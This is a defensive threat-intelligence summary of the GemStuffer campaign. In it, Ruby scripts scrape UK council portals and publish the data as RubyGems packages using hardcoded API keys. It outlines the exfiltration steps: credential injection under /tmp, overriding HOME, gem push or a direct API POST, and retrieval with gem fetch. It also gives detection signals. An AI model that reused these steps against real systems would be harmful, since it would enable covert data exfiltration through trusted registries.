Socket: GemStuffer Campaign

What it is

GemStuffer is a RubyGems campaign (155 tracked package/version artifacts) documented by Socket that uses the registry as a data-transport/storage channel rather than for developer compromise. Malicious Ruby scripts scrape UK council ModernGov portals (Lambeth, Wandsworth, Southwark), wrap the scraped HTML in valid .gem archives, and push them to rubygems.org from newly registered accounts using hardcoded API keys.

How it works

Each dropped script (evil|hack|payload|script.rb) captures execution context (Time.now, Dir.pwd, $0, ARGV), then fetches hardcoded council calendar URLs of the form /mgCalendarMonthView.aspx?GL=1&M=1&Y=2026 via Net::HTTP with SSL VERIFY_NONE (cert errors suppressed). It scrapes returned HTML for hrefs matching ieList or mgCommittee, de-duplicates them, and issues a second round of requests following ieList links to pull full agenda listings.

The exfil path is the notable part. Data is written to lib/result.txt in a temp dir, a stub x.rb and x.gemspec are generated, then credentials are injected: it writes the hardcoded API key to /tmp/gemhome/.gem/credentials (chmod 0600) and overrides ENV['HOME']='/tmp/gemhome', so gem build / gem push --host https://rubygems.org publishes under attacker control. A variant skips the gem CLI and POSTs the archive directly to the RubyGems API.

Retrieval is via ordinary tooling — the attacker runs gem fetch <name> -v <version> && tar xf *.gem data.tar.gz.

flowchart TD
  A[Script dropped] --> B[Scrape council portals\nSSL VERIFY_NONE]
  B --> C[Stage .gem in /tmp]
  C --> D{Publish path}
  D -->|gem CLI| E[Inject creds to /tmp/gemhome\noverride HOME, gem build/push]
  D -->|direct| F[POST archive to RubyGems API]
  E --> G[Public gem version = data drop]
  F --> G
  G --> H[Attacker: gem fetch + tar xf]

Preconditions / Affected

An environment (developer or CI) where a malicious .rb runs, plus egress to rubygems.org. The scraped targets are public council pages, which is why Socket cannot firmly classify intent — it may be spam, a PoC worm, or a registry-abuse test.

What to do

The page offers no patch. Detection signals to derive: gem publishes from new, low-download accounts; local gem build/push activity writing credentials under /tmp, ENV['HOME'] overridden to a temp path; Net::HTTP with VERIFY_NONE; outbound gem push/API POST from CI. RubyGems (per Marty Haught) temporarily disabled new account registration and throttled webhooks; existing accounts, packages, and installs were unaffected.

Caveats

Socket states intent is unclear (spam vs. worm vs. storage abuse). Low download counts are called out explicitly as not diminishing the technique's significance — the point is the trust-repurposing pattern, not spread.